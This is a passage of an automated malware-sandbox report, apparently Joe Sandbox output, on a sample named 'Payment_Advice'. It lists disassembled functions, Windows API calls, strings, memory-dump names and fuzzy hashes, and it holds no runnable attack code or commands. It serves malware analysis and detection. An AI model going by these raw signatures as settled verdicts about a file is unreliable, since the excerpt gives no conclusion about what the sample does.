Instruction Fuzzy Hash: F1B012E125C011BC320451085E0BCB70F4CF5C0B30330C82EFD14D2080D8401C8F0533

Uniqueness

Uniqueness Score: -1.00%

Function 0051E423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5651896f9ffe947bfd2a10299060524116d511675e0b7207cdd5d3e74255e960
Instruction ID: ea569c846ba704205eb659e67d0307ecbd827007464c7faed8d1e0344c6aee85
Opcode Fuzzy Hash: 5651896f9ffe947bfd2a10299060524116d511675e0b7207cdd5d3e74255e960
Instruction Fuzzy Hash: E5B012F125C011FC320491081C0BC770F4CF6C0F20330892EFC14D2081D8445E8A0533

Uniqueness

Uniqueness Score: -1.00%

Function 0051E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 94d23d8662282435525989383b7baa24a6bf167c78f2130f2a7005a25aeaabfd
Instruction ID: 5095b703a1bb8c0b1a171f284fcd93457a1f76f51a61ad65b57324fa5271cbfb
Opcode Fuzzy Hash: 94d23d8662282435525989383b7baa24a6bf167c78f2130f2a7005a25aeaabfd
Instruction Fuzzy Hash: F5A011E22A80223C300822002C0BCBB0F0CE8C0B20330882EFC20A0080AC8028820833

Uniqueness

Uniqueness Score: -1.00%

Function 0051E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fdcd8ac3be2ae8294ab411d6476ff3841c95abeb5bd800781bec711f4b009e56
Instruction ID: 260deee851b4d6e343054b1fe453c9ce86cb2e92089be700059c4ebdc8251605
Opcode Fuzzy Hash: fdcd8ac3be2ae8294ab411d6476ff3841c95abeb5bd800781bec711f4b009e56
Instruction Fuzzy Hash: 87A011E22AC022BC300822002C0BCBB0F0CE8C0B203308C2EFC22A0080A88028820833

Uniqueness

Uniqueness Score: -1.00%

Function 0051E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 64e452ab1a1c98a1d473d88da5d01ac4fad107965b8f3e0cc177e336e918e2ae
Instruction ID: 260deee851b4d6e343054b1fe453c9ce86cb2e92089be700059c4ebdc8251605
Opcode Fuzzy Hash: 64e452ab1a1c98a1d473d88da5d01ac4fad107965b8f3e0cc177e336e918e2ae
Instruction Fuzzy Hash: 87A011E22AC022BC300822002C0BCBB0F0CE8C0B203308C2EFC22A0080A88028820833

Uniqueness

Uniqueness Score: -1.00%

Function 0051E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 31a737a6d51ce8471b4ef6ccac37103ed15197c9f08e10e6cc1ba492a49bddfb
Instruction ID: 260deee851b4d6e343054b1fe453c9ce86cb2e92089be700059c4ebdc8251605
Opcode Fuzzy Hash: 31a737a6d51ce8471b4ef6ccac37103ed15197c9f08e10e6cc1ba492a49bddfb
Instruction Fuzzy Hash: 87A011E22AC022BC300822002C0BCBB0F0CE8C0B203308C2EFC22A0080A88028820833

Uniqueness

Uniqueness Score: -1.00%

Function 0051E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6873e6c31a88d634a1515b9b1e2f65d837a4b2ee1be56e38575fffa262c632c8
Instruction ID: 260deee851b4d6e343054b1fe453c9ce86cb2e92089be700059c4ebdc8251605
Opcode Fuzzy Hash: 6873e6c31a88d634a1515b9b1e2f65d837a4b2ee1be56e38575fffa262c632c8
Instruction Fuzzy Hash: 87A011E22AC022BC300822002C0BCBB0F0CE8C0B203308C2EFC22A0080A88028820833

Uniqueness

Uniqueness Score: -1.00%

Function 0051E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E3FC

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3cd46db6d8f79c7373af5b0258d8ff1b7f8eea29a59b7da0641bc8db4e4b6b73
Instruction ID: 260deee851b4d6e343054b1fe453c9ce86cb2e92089be700059c4ebdc8251605
Opcode Fuzzy Hash: 3cd46db6d8f79c7373af5b0258d8ff1b7f8eea29a59b7da0641bc8db4e4b6b73
Instruction Fuzzy Hash: 87A011E22AC022BC300822002C0BCBB0F0CE8C0B203308C2EFC22A0080A88028820833

Uniqueness

Uniqueness Score: -1.00%

Function 00509F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,0050903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00509F0C

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: f8bf571d3023a0292f49a4467b3138c50cb86ef7b45a3818125e33c92980aaf8
Instruction ID: 16004a85731d96b908246ed468ff7ea234b09c3dffe07045bf57e3871fce025b
Opcode Fuzzy Hash: f8bf571d3023a0292f49a4467b3138c50cb86ef7b45a3818125e33c92980aaf8
Instruction Fuzzy Hash: D6A0113008800A8AEE002B30CA0800C3B20EB20BC030002A8A00ACA0A2CB2A880BAA00

Uniqueness

Uniqueness Score: -1.00%

Function 0051AC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0051AE72,C:\Users\user\Desktop,00000000,0054946A,00000006), ref: 0051AC08

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: ae9b26be83c7e9103d52a3076ac40d24b111367f10cf74cd204ad1571fcd508e
Instruction ID: b1ead3f50dc62a44af208e8c754f20da1531cca12418ce7a0e41f345ea7f03b6
Opcode Fuzzy Hash: ae9b26be83c7e9103d52a3076ac40d24b111367f10cf74cd204ad1571fcd508e
Instruction Fuzzy Hash: F0A011302002008B83000B328F0AA0EBAAAAFA2B20F00C028A00080230CB30C820FA00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0051C220 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00501316: GetDlgItem.USER32(00000000,00003021), ref: 0050135A
Part of subcall function 00501316: SetWindowTextW.USER32(00000000,005335F4), ref: 00501370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0051C2B1
EndDialog.USER32(?,00000006), ref: 0051C2C4
GetDlgItem.USER32(?,0000006C), ref: 0051C2E0
SetFocus.USER32(00000000), ref: 0051C2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0051C321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0051C358
FindFirstFileW.KERNEL32(?,?), ref: 0051C36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0051C38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0051C39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0051C3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0051C3D4
_swprintf.LIBCMT ref: 0051C404

Part of subcall function 00504092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 005040A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0051C417
FindClose.KERNEL32(00000000), ref: 0051C41E
_swprintf.LIBCMT ref: 0051C477
SetDlgItemTextW.USER32(?,00000068,?), ref: 0051C48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0051C4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0051C4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0051C4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0051C4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0051C509
_swprintf.LIBCMT ref: 0051C535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0051C548
_swprintf.LIBCMT ref: 0051C59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0051C5AF

Part of subcall function 0051AF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0051AF35
Part of subcall function 0051AF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,0053E72C,?,?), ref: 0051AF84

Strings

%s %s %s, xrefs: 0051C3F2, 0051C527
REPLACEFILEDLG, xrefs: 0051C247
%s %s, xrefs: 0051C469, 0051C58E
PQ, xrefs: 0051C342

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$PQ$REPLACEFILEDLG
API String ID: 797121971-1312056977
Opcode ID: 17fd49fb86dc462ec62771c89bab1ff21bb3fda609eec7bace2adec74c7d5aba
Instruction ID: b0ed41e24b8eb3a7f105edeb79b92dbe0e04eda61e0f56e096610c8431df6a02
Opcode Fuzzy Hash: 17fd49fb86dc462ec62771c89bab1ff21bb3fda609eec7bace2adec74c7d5aba
Instruction Fuzzy Hash: CC91A7721483447BE3219BA4DC4DFFB7FACFB9A700F044819F685D6181D771A6489762

Uniqueness

Uniqueness Score: -1.00%

Function 00506FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00506FAA
_wcslen.LIBCMT ref: 00507013
_wcslen.LIBCMT ref: 00507084

Part of subcall function 00507A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00507AAB
Part of subcall function 00507A9C: GetLastError.KERNEL32 ref: 00507AF1
Part of subcall function 00507A9C: CloseHandle.KERNEL32(?), ref: 00507B00

Part of subcall function 0050A1E0: DeleteFileW.KERNELBASE(000000FF,?,?,0050977F,?,?,005095CF,?,?,?,?,?,00532641,000000FF), ref: 0050A1F1
Part of subcall function 0050A1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,0050977F,?,?,005095CF,?,?,?,?,?,00532641), ref: 0050A21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00507139
CloseHandle.KERNEL32(00000000), ref: 00507155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00507298

Part of subcall function 00509DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,005073BC,?,?,?,00000000), ref: 00509DBC
Part of subcall function 00509DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00509E70

Part of subcall function 00509620: FindCloseChangeNotification.KERNELBASE(000000FF,?,?,005095D6,?,?,?,?,?,00532641,000000FF), ref: 0050963B

Part of subcall function 0050A4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0050A325,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A501
Part of subcall function 0050A4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0050A325,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A532

Strings

\??\, xrefs: 0050702B
SeRestorePrivilege, xrefs: 00506FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00506FCC
UNC\, xrefs: 00507051

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File$Close$AttributesCreateDeleteHandle_wcslen$BuffersChangeCurrentErrorFindFlushH_prologLastNotificationProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2821348736-3508440684
Opcode ID: 5ad01bc77fae769b9dfc2d2ef8efc13cbf62b7a1de7f56448c3f49d7f2f8495a
Instruction ID: 91ea4c628734bf219d526212f185fd196a40b17fcc038e7e8de8b83770329192
Opcode Fuzzy Hash: 5ad01bc77fae769b9dfc2d2ef8efc13cbf62b7a1de7f56448c3f49d7f2f8495a
Instruction Fuzzy Hash: F6C10971D0460AAAEB24DB74DC49FEEBBA8BF48300F004559F956E72C2D734BA44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0052D8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0052DA34

Strings

1#IND, xrefs: 0052EC2C
1#SNAN, xrefs: 0052EC33
1#INF, xrefs: 0052EC41
1#QNAN, xrefs: 0052EC3A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8e4bdd45eae26688076450b316942d2543b938c228561d450616170c3d0e39ef
Instruction ID: 259cd288bd7b6cca43ce63fa16ab051cf17a4cc8e64c65af3dfdb6cd2d8b253a
Opcode Fuzzy Hash: 8e4bdd45eae26688076450b316942d2543b938c228561d450616170c3d0e39ef
Instruction Fuzzy Hash: 62C24971E046288FDB25CE28AD457EABBB5FF86304F1445EAD44DE7280E774AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 005032F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00503300
_swprintf.LIBCMT ref: 005036C7

Strings

h%u, xrefs: 005036BC
CMT, xrefs: 00503A17
hc%u, xrefs: 0050370A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: 35878f14cceb273a08eba65709c20949a8862d7e6dc201c866e8571cbc8387a9
Instruction ID: cd7aa3a2fcc546274791cfc02a3ac27b6eb38997f2c47eb195268888d532abef
Opcode Fuzzy Hash: 35878f14cceb273a08eba65709c20949a8862d7e6dc201c866e8571cbc8387a9
Instruction Fuzzy Hash: C832B2715107859BEB14DF74C89AAED3FA9BF55300F084579FD8A8B2C2DB709A49CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0050286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00502874
_strlen.LIBCMT ref: 00502E3F

Part of subcall function 005102BA: __EH_prolog.LIBCMT ref: 005102BF

Part of subcall function 00511B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,0050BAE9,00000000,?,?,?,00010440), ref: 00511BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00502F91

Strings

CMT, xrefs: 00502FBC

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: 23e95cbd4da3127327ec7bf0450f69e86a581e4a927e189c9e57c3b7f6c6361c
Instruction ID: d9adad85ee70d03c472073384454b0d520b8f109018b4b4049187dbc52bd678f
Opcode Fuzzy Hash: 23e95cbd4da3127327ec7bf0450f69e86a581e4a927e189c9e57c3b7f6c6361c
Instruction Fuzzy Hash: 576216716002468FDB19DF34C89A6EE3FA5BF55300F08457EEC9A8B2C2DB759985CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0051F838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0051F844
IsDebuggerPresent.KERNEL32 ref: 0051F910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051F930
UnhandledExceptionFilter.KERNEL32(?), ref: 0051F93A

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

